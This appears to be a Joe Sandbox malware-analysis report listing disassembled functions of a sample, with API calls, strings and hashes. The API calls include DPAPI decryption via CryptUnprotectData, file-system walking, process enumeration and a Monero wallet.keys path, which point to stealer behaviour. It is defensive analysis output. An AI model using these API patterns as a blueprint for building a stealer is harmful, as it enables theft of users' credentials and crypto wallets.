Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: avn$5@/$>y>o$EnkG$^:ww$`hg/$g~
API String ID: 0-2600474645
Opcode ID: 5e79f59cf7cad031b18b81badf9a9f0bc6b92636ea90956f76fcefcaa298400c
Instruction ID: f836da8f82cc548c8181af4dbd4ef80a4bd67c1fb9db778abbd647ac3188a5d1
Opcode Fuzzy Hash: 5e79f59cf7cad031b18b81badf9a9f0bc6b92636ea90956f76fcefcaa298400c
Instruction Fuzzy Hash: 5FB228F360C2049FE300AE29EC8567AFBE5EF94720F1A893DE6C4C7744E53598458697

Function 00B7E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B90D73), ref: 00B7E4A2
StrCmpCA.SHLWAPI(?,00B914F8), ref: 00B7E4F2
StrCmpCA.SHLWAPI(?,00B914FC), ref: 00B7E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00B7EBDF

Strings

\*.*, xrefs: 00B7E44D

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 52b629ca5fa07546530d5880241a178aebcaafec048cacfd0f9472429ec904ed
Instruction ID: bc66710775ec192775d0e87fb5639c3019397a00ff7c9394a589b2bc53e98de7
Opcode Fuzzy Hash: 52b629ca5fa07546530d5880241a178aebcaafec048cacfd0f9472429ec904ed
Instruction Fuzzy Hash: C11267719101149BEB14FB74DC96EED73B8AF54300F4045EAB51AA21A1EF386F49CFA2

Function 00F3BF67 Relevance: 7.8, Strings: 5, Instructions: 1587COMMON

Download Yara Rule

Strings

![], xrefs: 00F3BFB1
s{, xrefs: 00F3BFB7
$Q-7, xrefs: 00F3CE68, 00F3CEBE
0Q-7, xrefs: 00F3CE9E
V5w, xrefs: 00F3C75D

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $Q-7$0Q-7$V5w$![]$s{
API String ID: 0-3527256700
Opcode ID: ca508c54426626bba70b533f13f72ef2c7a410c64e9f2ac484cb2986b2872601
Instruction ID: 1eed59bfe91ed880f813ca56e935b9ba3252fff001f46a69c12b30bdb1eb7c58
Opcode Fuzzy Hash: ca508c54426626bba70b533f13f72ef2c7a410c64e9f2ac484cb2986b2872601
Instruction Fuzzy Hash: F3B2F6F360C204AFE7046E2DEC85B7ABBE9EF94720F16493DE6C4C7744EA3558018696

Function 00B7C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B7C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B7C87C
lstrcat.KERNEL32(?,00B90B46), ref: 00B7C943
lstrcat.KERNEL32(?,00B90B47), ref: 00B7C957
lstrcat.KERNEL32(?,00B90B4E), ref: 00B7C978

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: ed1bdf692915836ff6e1ad1eac37be8d367cc839f98ee512eadbd2353ae700de
Instruction ID: ed0311c464d65319cc70d115ec77a647bd5cba195c667dad9e59e8410282e594
Opcode Fuzzy Hash: ed1bdf692915836ff6e1ad1eac37be8d367cc839f98ee512eadbd2353ae700de
Instruction Fuzzy Hash: ED4141B5904219EFDB10DF94DD89BEEB7B8BB48704F1042A8E609A6280D7705A84CFA1

Function 00B77240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00B7724D
RtlAllocateHeap.NTDLL(00000000), ref: 00B77254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00B77281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00B772A4
LocalFree.KERNEL32(?), ref: 00B772AE

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: c6151278850baec43f2c2fbf104f38eb07ab4fedb0cb2540a0a6cd6f9e754ade
Instruction ID: c3bf09d02dfdec45ade36450f55eee600ad131b503297494b1e47382ac2f2958
Opcode Fuzzy Hash: c6151278850baec43f2c2fbf104f38eb07ab4fedb0cb2540a0a6cd6f9e754ade
Instruction Fuzzy Hash: AF010075A40308FBEB10DBD8CD49F9D77B8EB44700F108159FB19EA2C0DA70AA008B65

Function 00B89600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B8961E
Process32First.KERNEL32(00B90ACA,00000128), ref: 00B89632
Process32Next.KERNEL32(00B90ACA,00000128), ref: 00B89647
StrCmpCA.SHLWAPI(?,00000000), ref: 00B8965C
CloseHandle.KERNEL32(00B90ACA), ref: 00B8967A

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9dfabb9e2864f9f4b4643da527d1f539a730db51116f4a9fdbad9425da190dcd
Instruction ID: 95d4fd6407b957923ffc37ddfbbd10a1a0e17316d2fcd6f989d4806e85865478
Opcode Fuzzy Hash: 9dfabb9e2864f9f4b4643da527d1f539a730db51116f4a9fdbad9425da190dcd
Instruction Fuzzy Hash: AA01E975A00308EBCF14DFA5DD98BEDBBF8EB48700F1442C8A905E6250EB349A40DF61

Function 00F3A4EC Relevance: 6.6, Strings: 4, Instructions: 1598COMMON

Download Yara Rule

Strings

]7_, xrefs: 00F3A637
#r}, xrefs: 00F3AE34
T<[w, xrefs: 00F3A4FC
?C}o, xrefs: 00F3A7B0

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #r}$?C}o$T<[w$]7_
API String ID: 0-1160683953
Opcode ID: 7ed07cd0d8308d7d5272d977bd17abc6e27453a85167c66014f02ce22b9b73b9
Instruction ID: e9dbdfa1c60de0c299cf07724af7b3a030bfcb0a8a282b8587a7b6fa2a502b10
Opcode Fuzzy Hash: 7ed07cd0d8308d7d5272d977bd17abc6e27453a85167c66014f02ce22b9b73b9
Instruction Fuzzy Hash: B3B239F3A0C2049FE3046E2DEC8567AFBE9EF94320F1A493DEAC4D7744E67558048696

Function 00F40EF3 Relevance: 6.6, Strings: 4, Instructions: 1585COMMON

Download Yara Rule

Strings

J*lO, xrefs: 00F41286
jF7, xrefs: 00F420E9
=, xrefs: 00F41068
Wz?o, xrefs: 00F41A3F

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J*lO$Wz?o$jF7$=
API String ID: 0-3442474099
Opcode ID: b6f1c08e6760db4411b5aca2455213f98086f4550937b4b9b55afaffbaba0227
Instruction ID: fe8809cdbf362313f0a86f048b8b2c366e964c62a67da8c0a6d911e7766e5aa2
Opcode Fuzzy Hash: b6f1c08e6760db4411b5aca2455213f98086f4550937b4b9b55afaffbaba0227
Instruction Fuzzy Hash: E1A2E5B360C2149FE314AE2DEC8567AFBE9EF94720F16853DEAC4C3744EA3558018697

Function 00B88680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B905B7), ref: 00B886CA
Process32First.KERNEL32(?,00000128), ref: 00B886DE
Process32Next.KERNEL32(?,00000128), ref: 00B886F3

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

CloseHandle.KERNEL32(?), ref: 00B88761

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 51c2164cb463a07efd708146616ff9fc0671b09c2bd8ac51c73a4cb447c7f728
Instruction ID: b77800f553e4bcf936dd7f2ce9e85d84794bfa61d4f6272837a8bddbf1efd29e
Opcode Fuzzy Hash: 51c2164cb463a07efd708146616ff9fc0671b09c2bd8ac51c73a4cb447c7f728
Instruction Fuzzy Hash: 44313C71901218EBDB24EB54DC45FEEB7B8EB45700F5042EAE10AA21B0DF346E45CFA1

Function 00B88EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00B75184,40000001,00000000,00000000,?,00B75184), ref: 00B88EC0

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 672db95b7b87835ab36b1e33e52a76ba4bb0747b5718fdd9231b2c0d7fd5c0e8
Instruction ID: acedd55a963548b777af23dc34d1b83d89ba343109e36515648211215ae636b1
Opcode Fuzzy Hash: 672db95b7b87835ab36b1e33e52a76ba4bb0747b5718fdd9231b2c0d7fd5c0e8
Instruction Fuzzy Hash: 79110674200209EFDB00DF68D884FAA33E9EF89301F509988FA198B260DB35E841DB60

Function 00B79AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00B74EEE,00000000,?), ref: 00B79B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B74EEE,00000000,00000000), ref: 00B79B2A
LocalFree.KERNEL32(?,?,?,?,00B74EEE,00000000,?), ref: 00B79B3F

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: cb5d4385cf85a6e3f401bb8a89ae3bc1a52a880eaa1e4afebad3855c43aba932
Instruction ID: 5645609ce1d707410575176cf6346ceea5abbcd2d21ec716f1ccd96a0b4d2161
Opcode Fuzzy Hash: cb5d4385cf85a6e3f401bb8a89ae3bc1a52a880eaa1e4afebad3855c43aba932
Instruction Fuzzy Hash: 2111A4B4240308EFEB10CF64DC95FAA77B5FB89700F208158F9199B390C775A901CB60

Function 00B87980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B90E00,00000000,?), ref: 00B879B0
RtlAllocateHeap.NTDLL(00000000), ref: 00B879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00B90E00,00000000,?), ref: 00B879C4
wsprintfA.USER32 ref: 00B879F3

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
